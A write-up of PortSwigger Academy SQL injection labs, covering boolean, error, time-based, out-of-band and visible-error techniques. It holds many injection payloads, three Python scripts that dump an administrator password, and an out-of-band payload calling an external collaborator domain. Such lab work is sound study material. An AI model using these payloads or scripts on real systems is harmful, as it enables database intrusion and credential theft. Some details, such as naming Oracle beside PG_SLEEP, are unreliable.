Intro
Lab at portswigger: Blind SQL Injection
TOC
- Intro
- TOC
- Blind SQL injection with conditional responses
- Blind SQL injection with conditional errors
- Blind SQL injection with Time delays
- Blind SQL injection with time delays and information retrieval
- Blind SQL injection with out-of-band data exfiltration
- Visible error-based SQL injection
Blind SQL injection with conditional responses
This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs an SQL query containing the value of the submitted cookie.
The results of the SQL query are not returned, and no error messages are displayed. But the application includes a “Welcome back” message in the page if the query returns any rows.
The database contains a different table called users, with columns called username and password. You need to exploit the blind SQL injection vulnerability to find out the password of the administrator user.
To solve the lab, log in as the administrator user. We know that we have SQLi vulnerability in the TrackingId
Cookie value. We also know that we should see “Welcome back” if query return any rows.
Intro
But to get an Idea what we’re dealing with, here the website:
And here the HTTP Request in BURP:
We can observe that we can see the Welcome Back!
in the HTTP Response and the TrackingId
cookie.
Finding the SQL Injection
Now we need to see if we can inject SQL and get Welcome Back!
message displayed using following Payload:
1
TrackingId=2msRiqUVGWhY8DWK' OR 1=1 --
Yes, we do.
Now let’s try:
- Payload where we remove a letter from Tracking ID and have valid OR statement e.g.
TrackingId=2msRiqUVGWhY8DW' OR 1=1 --
- Result: we see
Welcome Back!
so the query is VALID.
- Result: we see
- Payload where we remove a letter from Tracking ID and have invalid OR statement, e.g.
TrackingId=2msRiqUVGWhY8DW' OR 1=2 --
- Result: there is no
Welcome Back!
present so the query is INVALID.
- Result: there is no
We haven’t found out anything what Portswigger Web Academy hasn’t already told us, but this is how we would verify the SQL Injection vulnerability, in this case, based on output in the response.
Now let’s enumerate the database.
Database Enumeration
Everything we do now it’s all about finding out if Database has returned something or not. If not, our check has failed. It’s really just asking and observing YES and NO.
So let’s ask our database yes/no questions
Does the users
table exist
We can use FROM statement and compare SELECT with same string:
1
TrackingId=non-existent' OR (SELECT 'a' from Users LIMIT 1)='a' --
Result: YES
Does the Administrator
user exist
1
TrackingId=non-existent' OR (SELECT 'a' from Users where username='Administrator' LIMIT 1)='a' --
Short answer: NO
Does the administrator
exist
1
TrackingId=non-existent' OR (SELECT 'a' from Users where username='administrator' LIMIT 1)='a' --
Short answer: Yes it does!
How long is the administrator
’s password (is it longer than 3 characters)
1
TrackingId=non-existent' OR (SELECT 'a' from Users WHERE username='administrator' AND LENGTH(password)>3)='a' --;
Short answer: Yes, password is longer then 3 characters.
Does the first password letter start with "a"
1
TrackingId=non-existent' OR (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a' --
Answer: yes it does.
Can we ask for for next character in users password using ascii (numbers) instead?
Yes we can. We’re asking for ASCII value 97.
1
TrackingId=non-existent' OR (ascii(substring((SELECT password FROM users WHERE username = 'administrator'),1,1)))=97 --
So this is how we would go on when dumping the contents of the database. We would need to keep asking if that’s the character in that position etc.
This is doable with Burp Intruder, however i don’t know how to really display the password in a right way at the end. I’ve tried to do so in the next chapter, i’ve however used a script that does that for me. Anyways…
Dumping the database using Blind SQLInjection is very tedious so it’s good to know what we’re looking for exactly.
Automatic Solution using Python
As mentioned, i would use a script that i’ve used few times for that occasion (Dumping Data using SQLi). I’d search for ascii numbers rather than characters, but display them as normal characters so you can basically just copy-paste the dumped password.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import requests
import sys
requests.urllib3.disable_warnings()
def inject_func(ip, inj_str):
for j in range(32, 126):
# now we update the sqli
session = requests.Session()
session.verify = False
target = "%s" % (ip)
cookies = {"TrackingId":inj_str.replace("[CHAR]", str(j)),"session":"EJOTJEW5lC8QL2zIU83YdnMMEhUT8708"}
#proxies = {"http": "http://127.0.0.1:8080"}
r = session.get(target,cookies=cookies)
if "Welcome back" in r.text:
return j
return 0
def main():
if len(sys.argv) != 3:
print("(+) usage: %s <target> <injection>" % sys.argv[0])
print('(+) eg: %s 192.168.121.103 "select version()"' % sys.argv[0])
sys.exit(-1)
ip = sys.argv[1]
injection_parameter = sys.argv[2]
# e.g. for injection parameter = SELECT Password FROM Users WHERE Username = 'Administrator'
out = "(+) Retrieving "+ injection_parameter
print(out)
#no need to exchange spaces etc.
#injection_parameter = injection_parameter.replace(" ", "/**/")
for i in range(1, 25):
if i != 0:
injection_string = "non-existent' OR (ascii(substring((" + injection_parameter + "),%d,1)))=[CHAR] --" % (i)
extracted_char = chr(inject_func(ip, injection_string))
sys.stdout.write(extracted_char)
sys.stdout.flush()
else:
break
print("\n(+) done!")
if __name__ == "__main__":
main()
I’ve set the length to 25 manualy, so that many character length will we checked. This could have been automated as well but some other time!
As can be seen below, password was retrieved:
Lab Done!
Blind SQL injection with conditional errors
Intro
In this case the application does not react if SQL query has succeded or not, but rather we provoke an error to determine if our injected query has succeded or not. So again, we’re asking Yes/No questions.
Portswigger gives us two examples, where the first should give an error and second should succed.
1
2
xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a
xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a
Let’s first confirm that we actualy have a SQL Injection. We break an application like this: TrackingId=xyz'
as we recieve 500 Internal Server Error
. If we can fix this, we have won.
TrackingId=xyz' OR (SELECT 1)=1 --
which still returns an error, although the second OR statement should succed. Oracle DB however needs FROM or it will return an error.TrackingId=xyz' OR (SELECT 1 from DUAL)=1 --
works:TrackingId=xyz' OR (SELECT 2 FROM dual)=1 --
is still working.TrackingId=xyz' OR (SELECT 2 FROM dual123)=1 --
doesn’t work anymore- Check if Table
users
exist:TrackingId=xyz' OR (SELECT 1 FROM users WHERE ROWNUM = 1)=1 --'
- yes it does! We needWHERE ROWNUM = 1
otherwise we get an error instead, becase more then 1 row will be returned.
Problems arise - missing concatenation
Now again, we need to somehow to evaluate the database but here is where i’ve noticed the problem. It was hard to make CASE work because query as i’ve seen above it’s breaking the WebApplication so i had to resort to concatenation using ||
which is also the way Portswigger suggest solving the lab.
- This gives us an
200 OK
:xyz'||(SELECT CASE WHEN (1=2) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'
- This returns an error
xyz'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM dual)||'
- Checking if
administrator
exist1
xyz'||(SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
Result: Yes it does as it returns an error
Finding password with Burp Intruder - first character
Let’s throw our query into intruder now.
1
TrackingId=xyz'||(SELECT CASE WHEN SUBSTR(password,1,1)='§e§' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'
Let’s go with Sniper first to get only first character. Use Brute forcer
with default settings and setting Min and Max length to 1:
Finding password with Burp Intruder - whole password
Now let’s cycle through 20 character using Cluster Bomb
with 2 payload sets:
- Numbers from 1 to 21 with Step 1 and Min integer digits set to 1 and Max integer digits set to 2, eveything else to 0
- Brute Forcer with Min and Max length set to 1
Disable encoding!
1
TrackingId=xyz'||(SELECT CASE WHEN SUBSTR(password,§1§,1)='§e§' THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||';
This is the closest that i was able to get:
I would have to re-arange the characters as i wasn’t able to start with cycling the 2nd payload set :(.
Automating with Python
I’ve automated that password dump with python, again with comparing the characters against the ASCII table. I could’ve made the Ascii range smaller but i did not. Multithreading would also be nice ;) but maybe some other time.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import requests
import sys
requests.urllib3.disable_warnings()
def inject_func(ip, inj_str):
for j in range(32, 126):
# now we update the sqli
session = requests.Session()
session.verify = False
target = "%s" % (ip)
cookies = {"TrackingId":inj_str.replace("[CHAR]", str(j)),"session":"XtNTol6QXK5ZuBb7VkQDo9qoWGtXHxTP"}
proxies = {"http": "http://127.0.0.1:8080"}
r = session.get(target,proxies=proxies,cookies=cookies,verify=False)
status_code = r.status_code
if status_code == 500:
return j
return 0
def main():
if len(sys.argv) != 2:
print("(+) usage: %s <target> " % sys.argv[0])
print('(+) eg: %s 192.168.121.103' % sys.argv[0])
sys.exit(-1)
ip = sys.argv[1]
out = "(+) Retrieving the password"
print(out)
for i in range(1, 25):
if i != 0:
injection_string = "xyz'||(SELECT CASE WHEN ASCII(SUBSTR(password,%d,1))=[CHAR] THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'" % (i)
extracted_char = chr(inject_func(ip, injection_string))
sys.stdout.write(extracted_char)
sys.stdout.flush()
else:
break
print("\n(+) done!")
if __name__ == "__main__":
main()
Password has been retrieved from the script as well:
Lab is done:
Blind SQL injection with Time delays
This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs an SQL query containing the value of the submitted cookie.
The results of the SQL query are not returned, and the application does not respond any differently based on whether the query returns any rows or causes an error. However, since the query is executed synchronously, it is possible to trigger conditional time delays to infer information.
To solve the lab, exploit the SQL injection vulnerability to cause a 10 second delay.
So for this lab, it’s only expected to create a delay so let’s get onto it.
Finding Blind SQLi using Time delay
The techniques for triggering a time delay are specific to the type of database being used.
In this lab we have OracleDB. To make SQLi to work,concatenation (||
) had to be used again as in previous lab. My assumption is that we’re injection into WHERE statement.
1
TrackingId=U0z9axszQ7GfsVAt'||PG_SLEEP(10)--
We can observe delay in the response:
Lab done:
Blind SQL injection with time delays and information retrieval
Intro
This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs an SQL query containing the value of the submitted cookie.
The results of the SQL query are not returned, and the application does not respond any differently based on whether the query returns any rows or causes an error. However, since the query is executed synchronously, it is possible to trigger conditional time delays to infer information.
The database contains a different table called users, with columns called username and password. You need to exploit the blind SQL injection vulnerability to find out the password of the administrator user.
To solve the lab, log in as the administrator user.
So here the plan is first to find the SQL injection, and then to retrieve the administrators password as it has been done before.
Finding the SQL Injection
1
TrackingId=QRvD0dG8SNkAeEr7'||(SELECT PG_SLEEP(3))||'
SQL Injection works with concatenation using ||
but it also works using stacked queries, separating it with ;
:
1
TrackingId=QRvD0dG8SNkAeEr7'%3b(SELECT PG_SLEEP(3))%3b'
Testing Yes/No Condition
- Using
CASE WHEN ... THEN
statement we get response in 3 seconds1
TrackingId=QRvD0dG8SNkAeEr7'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(3)+ELSE+pg_sleep(0)+END--;
- We should now get response immediatly:
1
TrackingId=QRvD0dG8SNkAeEr7'%3BSELECT+CASE+WHEN+(1=2)+THEN+pg_sleep(3)+ELSE+pg_sleep(0)+END--; session=kP6ZffRl10Pc4DroO8dsIuSMBIwLfgJq
And yes, we do get a response in 98 miliseconds.
Extracting password from administrator
Does administrator
exist
1
TrackingId=QRvD0dG8SNkAeEr7'%3BSELECT+CASE+WHEN+(username='administrator')+THEN+pg_sleep(3)+ELSE+pg_sleep(0)+END+FROM+users--
Answer: Yes it does!
What is the first character of administrator
’s password
I’ve used Request Timer
here for intruder as intruder itself does not display the response time :(.
So the first character is 1
and we could let Intruder find all the characters but let’s try to do the same with Python again. I will again check for ascii values.
Checking with repeater if asking for ASCII values actually works:
1
TrackingId=QRvD0dG8SNkAeEr7'%3bSELECT+CASE+WHEN+(username='administrator'+AND+ASCII(SUBSTRING(password,1,1))=49)+THEN+pg_sleep(3)+ELSE+pg_sleep(0)+END+FROM+users--; session=kP6ZffRl10Pc4DroO8dsIuSMBIwLfgJq
… and yes it does! Now let’s automate with Python
Automation with Python
Only thing that is different compared to scripts before it’s that we’re using time for comparison before and after request was sent.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import requests
import sys
import time
requests.urllib3.disable_warnings()
def inject_func(ip, inj_str):
for j in range(32, 126):
# now we update the sqli
session = requests.Session()
session.verify = False
target = "%s" % (ip)
cookies = {"TrackingId":inj_str.replace("[CHAR]", str(j)),"session":"kP6ZffRl10Pc4DroO8dsIuSMBIwLfgJq"}
proxies = {"http": "http://127.0.0.1:8080"}
time_start=time.time()
r = session.get(target,proxies=proxies,cookies=cookies,verify=False)
time_finish=time.time()
time_total=time_finish - time_start
#print(time_total)
if time_total > 2:
return j
return 0
def main():
if len(sys.argv) != 2:
print("(+) usage: %s <target> " % sys.argv[0])
print('(+) eg: %s 192.168.121.103' % sys.argv[0])
sys.exit(-1)
ip = sys.argv[1]
out = "(+) Retrieving the password"
print(out)
for i in range(1, 25):
if i != 0:
injection_string = "QRvD0dG8SNkAeEr7'%%3bSELECT+CASE+WHEN+(username='administrator'+AND+ASCII(SUBSTRING(password,%d,1))=[CHAR])+THEN+pg_sleep(3)+ELSE+pg_sleep(0)+END+FROM+users--" % (i)
extracted_char = chr(inject_func(ip, injection_string))
sys.stdout.write(extracted_char)
sys.stdout.flush()
else:
break
print("\n(+) done!")
if __name__ == "__main__":
main()
Password has been retrived
Lab done:
Blind SQL injection with out-of-band data exfiltration
This lab contains a blind SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie
The SQL query is executed asynchronously and has no effect on the application’s response. However, you can trigger out-of-band interactions with an external domain
The database contains a different table called users, with columns called username and password. You need to exploit the blind SQL injection vulnerability to find out the password of the administrator user.
To solve the lab, log in as the administrator user.
First i should mention i had diffilculties finding the vulnerability by using SQLMap but had more luck with Burp’s Scanner
This is query that Burp has used:
1
Cookie: TrackingId=g3cOtQeauj4CSC6p'%7c%7c(select%20extractvalue(xmltype('%3c%3fxml%20version%3d%221.0%22%20encoding%3d%22UTF-8%22%3f%3e%3c!DOCTYPE%20root%20[%20%3c!ENTITY%20%25%20rucxp%20SYSTEM%20%22http%3a%2f%2frpkzmgpymoyy6bk563eiduduslyem4a8y1lr9g.oasti'%7c%7c'fy.com%2f%22%3e%25rucxp%3b]%3e')%2c'%2fl')%20from%20dual)%7c%7c';
To solve the lab we need to exfiltrate administrator
’s password. We can do it by exfiltrating data in the subdomain.
If the payload has worked, we should get an entry in the collaborator:
Lab has been solved:
PS: PortSwiggers SQLi Cheatsheet: https://portswigger.net/web-security/sql-injection/cheat-sheet
Visible error-based SQL injection
This lab contains a SQL injection vulnerability. The application uses a tracking cookie for analytics, and performs a SQL query containing the value of the submitted cookie. The results of the SQL query are not returned.
The database contains a different table called users, with columns called username and password. To solve the lab, find a way to leak the password for the administrator user, then log in to their account.
In this lab, we get to see the error from the query, and if we read the description, it should be in the trackingId
cookie.
We can fix the query with EEioT3zzbZMmwTuQ'+OR+1=1+--
Let us keep in mind we are dealing with error based injection and we should exfiltrate infromation through the errors.
As there is truncation in place, following query will work:
1
' AND 2=CAST((SELECT username FROM users LIMIT+1) AS int)+--
We can retrieve the password from the same database, without using offset (luckily!).